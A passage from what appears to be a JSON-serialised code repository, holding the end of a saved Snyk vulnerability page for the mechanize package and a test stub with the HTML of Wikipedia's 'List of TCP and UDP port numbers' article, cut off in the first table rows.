higher.\\u003C\\u002Fp\\u003E\\n\"}],fetch:{},error:e,serverRendered:f,routePath:\"\\u002Fvuln\\u002FSNYK-PYTHON-MECHANIZE-3232926\",config:{SEGMENT:{enabled:f,key:\"LXBRTjNx7YkZnd7ZtYyVSWNlMtRSH6sg\"},SPLITSIGNAL:{enabled:a,id:\"af6f72c8-a7af-45f3-b4a3-8b932c185d06\",debugMode:g},ENVIRONMENT:g,MARKETING_SITE_HOST:\"https:\\u002F\\u002Fsnyk.io\",_app:{basePath:\"\\u002F\",assetsPath:\"\\u002F_nuxt\\u002F\",cdnURL:e}}}}(false,\"mechanize\",\"pip\",\"[,0.4.6)\",null,true,void 0));</script><script src=\"/_nuxt/a0735f1.js\" defer></script><script src=\"/_nuxt/7c72b1b.js\" defer></script><script src=\"/_nuxt/937ddd3.js\" defer></script><script src=\"/_nuxt/7671ce6.js\" defer></script><script src=\"/_nuxt/975fd5f.js\" defer></script><script src=\"/_nuxt/80148cb.js\" defer></script><script src=\"/_nuxt/c1edf8a.js\" defer></script><script src=\"/_nuxt/07cd2f9.js\" defer></script><script src=\"/_nuxt/51e20c8.js\" defer></script><script src=\"/_nuxt/17c1ca4.js\" defer></script>\n  </body>\n</html>\n"
  },
  {
    "path": "rocky/tests/stubs/wiki.html",
    "content": "<!DOCTYPE html>\n<html class=\"client-nojs\" lang=\"en\" dir=\"ltr\">\n<head>\n<meta charset=\"UTF-8\"/>\n<title>List of TCP and UDP port numbers - Wikipedia</title>\n<script>document.documentElement.className=\"client-js\";RLCONF={\"wgBreakFrames\":false,\"wgSeparatorTransformTable\":[\"\",\"\"],\"wgDigitTransformTable\":[\"\",\"\"],\"wgDefaultDateFormat\":\"dmy\",\"wgMonthNames\":[\"\",\"January\",\"February\",\"March\",\"April\",\"May\",\"June\",\"July\",\"August\",\"September\",\"October\",\"November\",\"December\"],\"wgRequestId\":\"8e6e7236-e172-4fdd-872e-13dba736c339\",\"wgCSPNonce\":false,\"wgCanonicalNamespace\":\"\",\"wgCanonicalSpecialPageName\":false,\"wgNamespaceNumber\":0,\"wgPageName\":\"List_of_TCP_and_UDP_port_numbers\",\"wgTitle\":\"List of TCP and UDP port numbers\",\"wgCurRevisionId\":1133881064,\"wgRevisionId\":1133881064,\"wgArticleId\":347136,\"wgIsArticle\":true,\"wgIsRedirect\":false,\"wgAction\":\"view\",\"wgUserName\":null,\"wgUserGroups\":[\"*\"],\"wgCategories\":[\"All accuracy disputes\",\"Accuracy disputes from October 2016\",\"Accuracy disputes from April 2018\",\"Accuracy disputes from November 2018\",\"Webarchive template wayback links\",\"All articles with dead external links\",\n\"Articles with dead external links from March 2015\",\"Accuracy disputes from June 2017\",\"CS1 maint: url-status\",\"Articles with dead external links from July 2017\",\"CS1 errors: missing periodical\",\"All articles with bare URLs for citations\",\"Articles with bare URLs for citations from June 2022\",\"Articles with PDF format bare URLs for citations\",\"Articles with dead external links from June 2016\",\"Accuracy disputes from July 2017\",\"Accuracy disputes from August 2020\",\"Accuracy disputes from June 2013\",\"Accuracy disputes from January 2019\",\"Accuracy disputes from October 2018\",\"Articles with short description\",\"Short description is different from Wikidata\",\"Articles needing additional references from June 2015\",\"All articles needing additional references\",\"Articles needing additional references from October 2016\",\"Articles with multiple maintenance issues\",\"Dynamic lists\",\"All pages needing factual verification\",\"Wikipedia articles needing factual verification from October 2016\",\n\"All articles with unsourced statements\",\"Articles with unsourced statements from October 2016\",\"All articles that are too technical\",\"Wikipedia articles that are too technical from October 2016\",\"All articles needing expert attention\",\"Articles needing expert attention from October 2016\",\"All articles with self-published sources\",\"Articles with self-published sources from October 2016\",\"Articles with self-published sources from April 2018\",\"Articles containing potentially dated statements from 2000\",\"All articles containing potentially dated statements\",\"Articles with unsourced statements from August 2016\",\"All articles with vague or ambiguous time\",\"Vague or ambiguous time from September 2015\",\"Vague or ambiguous time from August 2016\",\"Articles with unsourced statements from March 2012\",\"Articles with unsourced statements from January 2018\",\"Articles with unsourced statements from November 2018\",\"All articles with failed verification\",\n\"Articles with failed verification from August 2016\",\"Articles with unsourced statements from November 2011\",\"Wikipedia articles needing clarification from September 2015\",\"Articles containing potentially dated statements from September 2017\",\"Articles containing potentially dated statements from December 2017\",\"All articles with incomplete citations\",\"Articles with incomplete citations from November 2016\",\"Articles with unsourced statements from June 2017\",\"Articles with unsourced statements from August 2017\",\"Articles with unsourced statements from December 2013\",\"Articles with unsourced statements from March 2021\",\"Articles with unsourced statements from January 2017\",\"Articles with unsourced statements from September 2016\",\"Articles with unsourced statements from February 2017\",\"Articles with unsourced statements from October 2018\",\"Articles with unsourced statements from May 2019\",\"Articles with unsourced statements from September 2017\",\"All articles lacking reliable references\",\n\"Articles lacking reliable references from October 2016\",\"Articles with unsourced statements from August 2013\",\"Computing-related lists\",\"Internet protocols\",\"Internet-related lists\",\"Lists of network protocols\"],\"wgPageContentLanguage\":\"en\",\"wgPageContentModel\":\"wikitext\",\"wgRelevantPageName\":\"List_of_TCP_and_UDP_port_numbers\",\"wgRelevantArticleId\":347136,\"wgIsProbablyEditable\":true,\"wgRelevantPageIsProbablyEditable\":true,\"wgRestrictionEdit\":[],\"wgRestrictionMove\":[],\"wgFlaggedRevsParams\":{\"tags\":{\"status\":{\"levels\":1}}},\"wgVisualEditor\":{\"pageLanguageCode\":\"en\",\"pageLanguageDir\":\"ltr\",\"pageVariantFallbacks\":\"en\"},\"wgMFDisplayWikibaseDescriptions\":{\"search\":true,\"watchlist\":true,\"tagline\":false,\"nearby\":true},\"wgWMESchemaEditAttemptStepOversample\":false,\"wgWMEPageLength\":300000,\"wgNoticeProject\":\"wikipedia\",\"wgVector2022PreviewPages\":[],\"wgMediaViewerOnClick\":true,\"wgMediaViewerEnabledByDefault\":true,\"wgPopupsFlags\":10,\"wgULSCurrentAutonym\":\"English\",\"wgEditSubmitButtonLabelPublish\":\ntrue,\"wgCentralAuthMobileDomain\":false,\"wgULSPosition\":\"interlanguage\",\"wgULSisCompactLinksEnabled\":true,\"wgWikibaseItemId\":\"Q756750\",\"GEHomepageSuggestedEditsEnableTopics\":true,\"wgGETopicsMatchModeEnabled\":false,\"wgGEStructuredTaskRejectionReasonTextInputEnabled\":false};RLSTATE={\"ext.globalCssJs.user.styles\":\"ready\",\"site.styles\":\"ready\",\"user.styles\":\"ready\",\"ext.globalCssJs.user\":\"ready\",\"user\":\"ready\",\"user.options\":\"loading\",\"ext.cite.styles\":\"ready\",\"skins.vector.styles.legacy\":\"ready\",\"jquery.tablesorter.styles\":\"ready\",\"jquery.makeCollapsible.styles\":\"ready\",\"ext.visualEditor.desktopArticleTarget.noscript\":\"ready\",\"ext.wikimediaBadges\":\"ready\",\"ext.uls.interlanguage\":\"ready\",\"wikibase.client.init\":\"ready\"};RLPAGEMODULES=[\"ext.cite.ux-enhancements\",\"site\",\"mediawiki.page.ready\",\"jquery.tablesorter\",\"jquery.makeCollapsible\",\"mediawiki.toc\",\"skins.vector.legacy.js\",\"mmv.head\",\"mmv.bootstrap.autostart\",\"ext.visualEditor.desktopArticleTarget.init\",\"ext.visualEditor.targetLoader\",\n\"ext.eventLogging\",\"ext.wikimediaEvents\",\"ext.navigationTiming\",\"ext.cx.eventlogging.campaigns\",\"ext.quicksurveys.init\",\"ext.centralNotice.geoIP\",\"ext.centralNotice.startUp\",\"ext.gadget.ReferenceTooltips\",\"ext.gadget.charinsert\",\"ext.gadget.extra-toolbar-buttons\",\"ext.gadget.switcher\",\"ext.centralauth.centralautologin\",\"ext.popups\",\"ext.echo.centralauth\",\"ext.uls.compactlinks\",\"ext.uls.interface\",\"ext.growthExperiments.SuggestedEditSession\"];</script>\n<script>(RLQ=window.RLQ||[]).push(function(){mw.loader.implement(\"user.options@12s5i\",function($,jQuery,require,module){mw.user.tokens.set({\"patrolToken\":\"+\\\\\",\"watchToken\":\"+\\\\\",\"csrfToken\":\"+\\\\\"});});});</script>\n<link rel=\"stylesheet\" href=\"/w/load.php?lang=en&amp;modules=ext.cite.styles%7Cext.uls.interlanguage%7Cext.visualEditor.desktopArticleTarget.noscript%7Cext.wikimediaBadges%7Cjquery.makeCollapsible.styles%7Cjquery.tablesorter.styles%7Cskins.vector.styles.legacy%7Cwikibase.client.init&amp;only=styles&amp;skin=vector\"/>\n<script async=\"\" src=\"/w/load.php?lang=en&amp;modules=startup&amp;only=scripts&amp;raw=1&amp;skin=vector\"></script>\n<meta name=\"ResourceLoaderDynamicStyles\" content=\"\"/>\n<link rel=\"stylesheet\" href=\"/w/load.php?lang=en&amp;modules=site.styles&amp;only=styles&amp;skin=vector\"/>\n<meta name=\"generator\" content=\"MediaWiki 1.40.0-wmf.18\"/>\n<meta name=\"referrer\" content=\"origin\"/>\n<meta name=\"referrer\" content=\"origin-when-crossorigin\"/>\n<meta name=\"referrer\" content=\"origin-when-cross-origin\"/>\n<meta name=\"robots\" content=\"max-image-preview:standard\"/>\n<meta name=\"format-detection\" content=\"telephone=no\"/>\n<meta name=\"viewport\" content=\"width=1000\"/>\n<meta property=\"og:title\" content=\"List of TCP and UDP port numbers - Wikipedia\"/>\n<meta property=\"og:type\" content=\"website\"/>\n<link rel=\"preconnect\" href=\"//upload.wikimedia.org\"/>\n<link rel=\"alternate\" media=\"only screen and (max-width: 720px)\" href=\"//en.m.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers\"/>\n<link rel=\"alternate\" type=\"application/x-wiki\" title=\"Edit this page\" href=\"/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;action=edit\"/>\n<link rel=\"apple-touch-icon\" href=\"/static/apple-touch/wikipedia.png\"/>\n<link rel=\"icon\" href=\"/static/favicon/wikipedia.ico\"/>\n<link rel=\"search\" type=\"application/opensearchdescription+xml\" href=\"/w/opensearch_desc.php\" title=\"Wikipedia (en)\"/>\n<link rel=\"EditURI\" type=\"application/rsd+xml\" href=\"//en.wikipedia.org/w/api.php?action=rsd\"/>\n<link rel=\"license\" href=\"https://creativecommons.org/licenses/by-sa/3.0/\"/>\n<link rel=\"canonical\" href=\"https://en.wikipedia.org/wiki/List_of_TCP_and_UDP_port_numbers\"/>\n<link rel=\"dns-prefetch\" href=\"//meta.wikimedia.org\" />\n<link rel=\"dns-prefetch\" href=\"//login.wikimedia.org\"/>\n</head>\n<body class=\"skin-vector-legacy mediawiki ltr sitedir-ltr mw-hide-empty-elt ns-0 ns-subject mw-editable page-List_of_TCP_and_UDP_port_numbers rootpage-List_of_TCP_and_UDP_port_numbers skin-vector action-view vector-feature-language-in-header-enabled vector-feature-language-in-main-page-header-disabled vector-feature-language-alert-in-sidebar-enabled vector-feature-sticky-header-disabled vector-feature-sticky-header-edit-disabled vector-feature-page-tools-disabled vector-feature-page-tools-pinned-disabled vector-feature-main-menu-pinned-disabled vector-feature-limited-width-enabled vector-feature-limited-width-content-enabled\"><div id=\"mw-page-base\" class=\"noprint\"></div>\n<div id=\"mw-head-base\" class=\"noprint\"></div>\n<div id=\"content\" class=\"mw-body\" role=\"main\">\n\t<a id=\"top\"></a>\n\t<div id=\"siteNotice\"><!-- CentralNotice --></div>\n\t<div class=\"mw-indicators\">\n\t</div>\n\t<h1 id=\"firstHeading\" class=\"firstHeading mw-first-heading\"><span class=\"mw-page-title-main\">List of TCP and UDP port numbers</span></h1>\n\t<div id=\"bodyContent\" class=\"vector-body\">\n\t\t<div id=\"siteSub\" class=\"noprint\">From Wikipedia, the free encyclopedia</div>\n\t\t<div id=\"contentSub\"><div id=\"mw-content-subtitle\"></div></div>\n\t\t<div id=\"contentSub2\"></div>\n\n\t\t<div id=\"jump-to-nav\"></div>\n\t\t<a class=\"mw-jump-link\" href=\"#mw-head\">Jump to navigation</a>\n\t\t<a class=\"mw-jump-link\" href=\"#searchInput\">Jump to search</a>\n\t\t<div id=\"mw-content-text\" class=\"mw-body-content mw-content-ltr\" lang=\"en\" dir=\"ltr\"><div class=\"mw-parser-output\"><p class=\"mw-empty-elt\">\n</p>\n<style data-mw-deduplicate=\"TemplateStyles:r1097763485\">.mw-parser-output .ambox{border:1px solid #a2a9b1;border-left:10px solid #36c;background-color:#fbfbfb;box-sizing:border-box}.mw-parser-output .ambox+link+.ambox,.mw-parser-output .ambox+link+style+.ambox,.mw-parser-output .ambox+link+link+.ambox,.mw-parser-output .ambox+.mw-empty-elt+link+.ambox,.mw-parser-output .ambox+.mw-empty-elt+link+style+.ambox,.mw-parser-output .ambox+.mw-empty-elt+link+link+.ambox{margin-top:-1px}html body.mediawiki .mw-parser-output .ambox.mbox-small-left{margin:4px 1em 4px 0;overflow:hidden;width:238px;border-collapse:collapse;font-size:88%;line-height:1.25em}.mw-parser-output .ambox-speedy{border-left:10px solid #b32424;background-color:#fee7e6}.mw-parser-output .ambox-delete{border-left:10px solid #b32424}.mw-parser-output .ambox-content{border-left:10px solid #f28500}.mw-parser-output .ambox-style{border-left:10px solid #fc3}.mw-parser-output .ambox-move{border-left:10px solid #9932cc}.mw-parser-output .ambox-protection{border-left:10px solid #a2a9b1}.mw-parser-output .ambox .mbox-text{border:none;padding:0.25em 0.5em;width:100%}.mw-parser-output .ambox .mbox-image{border:none;padding:2px 0 2px 0.5em;text-align:center}.mw-parser-output .ambox .mbox-imageright{border:none;padding:2px 0.5em 2px 0;text-align:center}.mw-parser-output .ambox .mbox-empty-cell{border:none;padding:0;width:1px}.mw-parser-output .ambox .mbox-image-div{width:52px}html.client-js body.skin-minerva .mw-parser-output .mbox-text-span{margin-left:23px!important}@media(min-width:720px){.mw-parser-output .ambox{margin:0 10%}}</style><style data-mw-deduplicate=\"TemplateStyles:r1086701767\">.mw-parser-output .multiple-issues-text{width:95%;margin:0.2em 0}.mw-parser-output .multiple-issues-text>.mw-collapsible-content{margin-top:0.3em}.mw-parser-output .compact-ambox .ambox{border:none;border-collapse:collapse;background-color:transparent;margin:0 0 0 1.6em!important;padding:0!important;width:auto;display:block}body.mediawiki .mw-parser-output .compact-ambox .ambox.mbox-small-left{font-size:100%;width:auto;margin:0}.mw-parser-output .compact-ambox .ambox .mbox-text{padding:0!important;margin:0!important}.mw-parser-output .compact-ambox .ambox .mbox-text-span{display:list-item;line-height:1.5em;list-style-type:disc}.mw-parser-output .compact-ambox .ambox .mbox-image,.mw-parser-output .compact-ambox .ambox .mbox-imageright,.mw-parser-output .compact-ambox .ambox .mbox-empty-cell,.mw-parser-output .compact-ambox .hide-when-compact{display:none}</style><table class=\"box-Multiple_issues plainlinks metadata ambox ambox-content ambox-multiple_issues compact-ambox\" role=\"presentation\"><tbody><tr><td class=\"mbox-image\"><div class=\"mbox-image-div\"><img alt=\"\" src=\"//upload.wikimedia.org/wikipedia/en/thumb/b/b4/Ambox_important.svg/40px-Ambox_important.svg.png\" decoding=\"async\" width=\"40\" height=\"40\" srcset=\"//upload.wikimedia.org/wikipedia/en/thumb/b/b4/Ambox_important.svg/60px-Ambox_important.svg.png 1.5x, //upload.wikimedia.org/wikipedia/en/thumb/b/b4/Ambox_important.svg/80px-Ambox_important.svg.png 2x\" data-file-width=\"40\" data-file-height=\"40\" /></div></td><td class=\"mbox-text\"><div class=\"mbox-text-span\"><div class=\"multiple-issues-text mw-collapsible\"><b>This article has multiple issues.</b> Please help <b><a class=\"external text\" href=\"https://en.wikipedia.org/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;action=edit\">improve it</a></b> or discuss these issues on the <b><a href=\"/wiki/Talk:List_of_TCP_and_UDP_port_numbers\" title=\"Talk:List of TCP and UDP port numbers\">talk page</a></b>. <small><i>(<a href=\"/wiki/Help:Maintenance_template_removal\" title=\"Help:Maintenance template removal\">Learn how and when to remove these template messages</a>)</i></small>\n<div class=\"mw-collapsible-content\">\n      <link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1097763485\"/><table class=\"box-More_citations_needed plainlinks metadata ambox ambox-content ambox-Refimprove\" role=\"presentation\"><tbody><tr><td class=\"mbox-image\"><div class=\"mbox-image-div\"><a href=\"/wiki/File:Question_book-new.svg\" class=\"image\"><img alt=\"\" src=\"//upload.wikimedia.org/wikipedia/en/thumb/9/99/Question_book-new.svg/50px-Question_book-new.svg.png\" decoding=\"async\" width=\"50\" height=\"39\" srcset=\"//upload.wikimedia.org/wikipedia/en/thumb/9/99/Question_book-new.svg/75px-Question_book-new.svg.png 1.5x, //upload.wikimedia.org/wikipedia/en/thumb/9/99/Question_book-new.svg/100px-Question_book-new.svg.png 2x\" data-file-width=\"512\" data-file-height=\"399\" /></a></div></td><td class=\"mbox-text\"><div class=\"mbox-text-span\">This article <b>needs additional citations for <a href=\"/wiki/Wikipedia:Verifiability\" title=\"Wikipedia:Verifiability\">verification</a></b>.<span class=\"hide-when-compact\"> Please help <a class=\"external text\" href=\"https://en.wikipedia.org/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;action=edit\">improve this article</a> by <a href=\"/wiki/Help:Referencing_for_beginners\" title=\"Help:Referencing for beginners\">adding citations to reliable sources</a>. Unsourced material may be challenged and removed.<br /><small><span class=\"plainlinks\"><i>Find sources:</i>&#160;<a rel=\"nofollow\" class=\"external text\" href=\"//www.google.com/search?as_eq=wikipedia&amp;q=%22List+of+TCP+and+UDP+port+numbers%22\">\"List of TCP and UDP port numbers\"</a>&#160;–&#160;<a rel=\"nofollow\" class=\"external text\" href=\"//www.google.com/search?tbm=nws&amp;q=%22List+of+TCP+and+UDP+port+numbers%22+-wikipedia&amp;tbs=ar:1\">news</a>&#160;<b>·</b> <a rel=\"nofollow\" class=\"external text\" href=\"//www.google.com/search?&amp;q=%22List+of+TCP+and+UDP+port+numbers%22&amp;tbs=bkt:s&amp;tbm=bks\">newspapers</a>&#160;<b>·</b> <a rel=\"nofollow\" class=\"external text\" href=\"//www.google.com/search?tbs=bks:1&amp;q=%22List+of+TCP+and+UDP+port+numbers%22+-wikipedia\">books</a>&#160;<b>·</b> <a rel=\"nofollow\" class=\"external text\" href=\"//scholar.google.com/scholar?q=%22List+of+TCP+and+UDP+port+numbers%22\">scholar</a>&#160;<b>·</b> <a rel=\"nofollow\" class=\"external text\" href=\"https://www.jstor.org/action/doBasicSearch?Query=%22List+of+TCP+and+UDP+port+numbers%22&amp;acc=on&amp;wc=on\">JSTOR</a></span></small></span>  <span class=\"date-container\"><i>(<span class=\"date\">June 2015</span>)</i></span><span class=\"hide-when-compact\"><i> (<small><a href=\"/wiki/Help:Maintenance_template_removal\" title=\"Help:Maintenance template removal\">Learn how and when to remove this template message</a></small>)</i></span></div></td></tr></tbody></table>\n<link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1097763485\"/><table class=\"box-Refexample plainlinks metadata ambox ambox-content ambox-Refimprove\" role=\"presentation\"><tbody><tr><td class=\"mbox-image\"><div class=\"mbox-image-div\"><a href=\"/wiki/File:Ambox_important.svg\" class=\"image\"><img alt=\"\" src=\"//upload.wikimedia.org/wikipedia/en/thumb/b/b4/Ambox_important.svg/40px-Ambox_important.svg.png\" decoding=\"async\" width=\"40\" height=\"40\" srcset=\"//upload.wikimedia.org/wikipedia/en/thumb/b/b4/Ambox_important.svg/60px-Ambox_important.svg.png 1.5x, //upload.wikimedia.org/wikipedia/en/thumb/b/b4/Ambox_important.svg/80px-Ambox_important.svg.png 2x\" data-file-width=\"40\" data-file-height=\"40\" /></a></div></td><td class=\"mbox-text\"><div class=\"mbox-text-span\">This article <b>gives <a href=\"/wiki/Template:Refexample#Self-sourcing_examples\" title=\"Template:Refexample\">self-sourcing popular culture examples</a> without describing their significance in the context of the article.</b><span class=\"hide-when-compact\"> Please help <a class=\"external text\" href=\"https://en.wikipedia.org/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;action=edit\">improve this article</a> by <a href=\"/wiki/Help:Introduction_to_referencing_with_Wiki_Markup/1\" title=\"Help:Introduction to referencing with Wiki Markup/1\">adding citations to reliable sources</a> that describe the examples' significance, and by removing less pertinent examples. <a href=\"/wiki/Wikipedia:Verifiability\" title=\"Wikipedia:Verifiability\">Unsourced</a> or poorly sourced material may be challenged or removed.</span>  <span class=\"date-container\"><i>(<span class=\"date\">October 2016</span>)</i></span><span class=\"hide-when-compact\"><i> (<small><a href=\"/wiki/Help:Maintenance_template_removal\" title=\"Help:Maintenance template removal\">Learn how and when to remove this template message</a></small>)</i></span></div></td></tr></tbody></table>\n    </div>\n</div><span class=\"hide-when-compact\"><i> (<small><a href=\"/wiki/Help:Maintenance_template_removal\" title=\"Help:Maintenance template removal\">Learn how and when to remove this template message</a></small>)</i></span></div></td></tr></tbody></table>\n<p>This is a <b>list of TCP and UDP port numbers</b> used by protocols for operation of network applications.\n</p><p>The <a href=\"/wiki/Transmission_Control_Protocol\" title=\"Transmission Control Protocol\">Transmission Control Protocol</a> (TCP) and the <a href=\"/wiki/User_Datagram_Protocol\" title=\"User Datagram Protocol\">User Datagram Protocol</a> (UDP) only need one <a href=\"/wiki/Port_(computer_networking)\" title=\"Port (computer networking)\">port</a> for <a href=\"/wiki/Duplex_(telecommunications)\" title=\"Duplex (telecommunications)\">duplex</a>, bidirectional traffic. They usually use port numbers that match the services of the corresponding TCP or UDP implementation, if they exist.\n</p><p>The <a href=\"/wiki/Internet_Assigned_Numbers_Authority\" title=\"Internet Assigned Numbers Authority\">Internet Assigned Numbers Authority</a> (IANA) is responsible for maintaining the official assignments of port numbers for specific uses.<sup id=\"cite_ref-1\" class=\"reference\"><a href=\"#cite_note-1\">&#91;1&#93;</a></sup> However, many unofficial uses of both well-known and registered port numbers occur in practice. Similarly, many of the official assignments refer to protocols that were never or are no longer in common use. This article lists port numbers and their associated protocols that have experienced significant uptake.\n</p>\n<div id=\"toc\" class=\"toc\" role=\"navigation\" aria-labelledby=\"mw-toc-heading\"><input type=\"checkbox\" role=\"button\" id=\"toctogglecheckbox\" class=\"toctogglecheckbox\" style=\"display:none\" /><div class=\"toctitle\" lang=\"en\" dir=\"ltr\"><h2 id=\"mw-toc-heading\">Contents</h2><span class=\"toctogglespan\"><label class=\"toctogglelabel\" for=\"toctogglecheckbox\"></label></span></div>\n<ul>\n<li class=\"toclevel-1 tocsection-1\"><a href=\"#Table_legend\"><span class=\"tocnumber\">1</span> <span class=\"toctext\">Table legend</span></a></li>\n<li class=\"toclevel-1 tocsection-2\"><a href=\"#Well-known_ports\"><span class=\"tocnumber\">2</span> <span class=\"toctext\">Well-known ports</span></a></li>\n<li class=\"toclevel-1 tocsection-3\"><a href=\"#Registered_ports\"><span class=\"tocnumber\">3</span> <span class=\"toctext\">Registered ports</span></a></li>\n<li class=\"toclevel-1 tocsection-4\"><a href=\"#Dynamic,_private_or_ephemeral_ports\"><span class=\"tocnumber\">4</span> <span class=\"toctext\">Dynamic, private or ephemeral ports</span></a></li>\n<li class=\"toclevel-1 tocsection-5\"><a href=\"#Note\"><span class=\"tocnumber\">5</span> <span class=\"toctext\">Note</span></a></li>\n<li class=\"toclevel-1 tocsection-6\"><a href=\"#See_also\"><span class=\"tocnumber\">6</span> <span class=\"toctext\">See also</span></a></li>\n<li class=\"toclevel-1 tocsection-7\"><a href=\"#References_and_notes\"><span class=\"tocnumber\">7</span> <span class=\"toctext\">References and notes</span></a></li>\n<li class=\"toclevel-1 tocsection-8\"><a href=\"#Further_reading\"><span class=\"tocnumber\">8</span> <span class=\"toctext\">Further reading</span></a></li>\n<li class=\"toclevel-1 tocsection-9\"><a href=\"#External_links\"><span class=\"tocnumber\">9</span> <span class=\"toctext\">External links</span></a></li>\n</ul>\n</div>\n\n<h2><span class=\"mw-headline\" id=\"Table_legend\">Table legend</span><span class=\"mw-editsection\"><span class=\"mw-editsection-bracket\">[</span><a href=\"/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;action=edit&amp;section=1\" title=\"Edit section: Table legend\">edit</a><span class=\"mw-editsection-bracket\">]</span></span></h2>\n<table class=\"wikitable\">\n<caption>Legend of TCP and UDP protocol table cells for port numbers\n</caption>\n<tbody><tr>\n<th scope=\"col\">Cell\n</th>\n<th scope=\"col\">Description\n</th></tr>\n<tr>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes\n</td>\n<td>Described protocol <i>is</i> assigned by IANA for this port, and <i>is</i>: standardized, specified, or widely used for such.\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial\n</td>\n<td>Described protocol <i>is not</i> assigned by IANA for this port, but <i>is</i>: standardized, specified, or widely used for such.\n</td></tr>\n<tr>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned\n</td>\n<td>Described protocol <i>is</i> assigned by IANA for this port,<sup id=\"cite_ref-IANA_2-0\" class=\"reference\"><a href=\"#cite_note-IANA-2\">&#91;2&#93;</a></sup> but <i>is not</i>: standardized, specified, or widely used for such.\n</td></tr>\n<tr>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No\n</td>\n<td>Described protocol <i>is not</i>: assigned by IANA for this port, standardized, specified, or widely used for such.\n</td></tr>\n<tr>\n<td data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved\n</td>\n<td>Port is reserved by IANA,<sup id=\"cite_ref-IANA_2-1\" class=\"reference\"><a href=\"#cite_note-IANA-2\">&#91;2&#93;</a></sup> generally to prevent collision having its previous use removed.<sup id=\"cite_ref-rfc6335_3-0\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup><sup id=\"cite_ref-rfc7605_4-0\" class=\"reference\"><a href=\"#cite_note-rfc7605-4\">&#91;4&#93;</a></sup> The port number may be available for assignment upon request to IANA.<sup id=\"cite_ref-rfc6335_3-1\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup>\n</td></tr></tbody></table>\n<h2><span class=\"mw-headline\" id=\"Well-known_ports\">Well-known ports</span><span class=\"mw-editsection\"><span class=\"mw-editsection-bracket\">[</span><a href=\"/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;action=edit&amp;section=2\" title=\"Edit section: Well-known ports\">edit</a><span class=\"mw-editsection-bracket\">]</span></span></h2>\n<style data-mw-deduplicate=\"TemplateStyles:r1033289096\">.mw-parser-output .hatnote{font-style:italic}.mw-parser-output div.hatnote{padding-left:1.6em;margin-bottom:0.5em}.mw-parser-output .hatnote i{font-style:normal}.mw-parser-output .hatnote+link+.hatnote{margin-top:-0.5em}</style><div role=\"note\" class=\"hatnote navigation-not-searchable plainlinks\">This is a <a href=\"/wiki/Wikipedia:WikiProject_Lists#Incomplete_lists\" title=\"Wikipedia:WikiProject Lists\">dynamic list</a> and may never be able to satisfy particular standards for completeness. You can help by <a class=\"external text\" href=\"https://en.wikipedia.org/w/index.php?title=List_of_TCP_and_UDP_port_numbers&amp;action=edit\">adding missing items</a> with <a href=\"/wiki/Wikipedia:Reliable_sources\" title=\"Wikipedia:Reliable sources\">reliable sources</a>.</div>\n<p>The port numbers in the range from 0 to 1023 (0 to 2<sup>10</sup> − 1) are the <i>well-known ports</i> or <i>system ports</i>.<sup id=\"cite_ref-rfc6335_3-2\" class=\"reference\"><a href=\"#cite_note-rfc6335-3\">&#91;3&#93;</a></sup> They are used by system processes that provide widely used types of network services. On <a href=\"/wiki/Unix-like\" title=\"Unix-like\">Unix-like</a> operating systems, a process must execute with <a href=\"/wiki/Superuser\" title=\"Superuser\">superuser</a> privileges to be able to bind a <a href=\"/wiki/Network_socket\" title=\"Network socket\">network socket</a> to an <a href=\"/wiki/IP_address\" title=\"IP address\">IP address</a> using one of the well-known ports.<sup id=\"cite_ref-man-5-services-die.net_5-0\" class=\"reference\"><a href=\"#cite_note-man-5-services-die.net-5\">&#91;5&#93;</a></sup>\n</p>\n<table class=\"wikitable sortable collapsible\">\n<caption>Well-known ports\n</caption>\n<tbody><tr>\n<th scope=\"col\">Port\n</th>\n<th scope=\"col\">TCP\n</th>\n<th scope=\"col\">UDP\n</th>\n<th scope=\"col\">SCTP\n</th>\n<th scope=\"col\">DCCP\n</th>\n<th scope=\"col\" class=\"unsortable\">Description\n</th></tr>\n<tr>\n<td>0</td>\n<td colspan=\"2\" data-sort-value=\"\" style=\"background: #ececec; color: #2C2C2C; vertical-align: middle; text-align: center;\" class=\"table-na\">Reserved</td>\n<td></td>\n<td>\n</td>\n<td>In programming APIs (not in communication between hosts), requests a system-allocated (dynamic) port<sup id=\"cite_ref-Port_0_Linux_6-0\" class=\"reference\"><a href=\"#cite_note-Port_0_Linux-6\">&#91;6&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/TCP_Port_Service_Multiplexer\" title=\"TCP Port Service Multiplexer\">TCP Port Service Multiplexer</a> (TCPMUX). Historic. Both TCP and UDP have been assigned to TCPMUX by IANA,<sup id=\"cite_ref-IANA_2-2\" class=\"reference\"><a href=\"#cite_note-IANA-2\">&#91;2&#93;</a></sup> but by design only TCP is specified.<sup id=\"cite_ref-rfc1078_7-0\" class=\"reference\"><a href=\"#cite_note-rfc1078-7\">&#91;7&#93;</a></sup>\n</td></tr>\n<tr>\n<td>2</td>\n<td colspan=\"2\" style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td>compressnet (Management Utility)<sup id=\"cite_ref-rfc6335_3-3\" class=\"reference\"><a 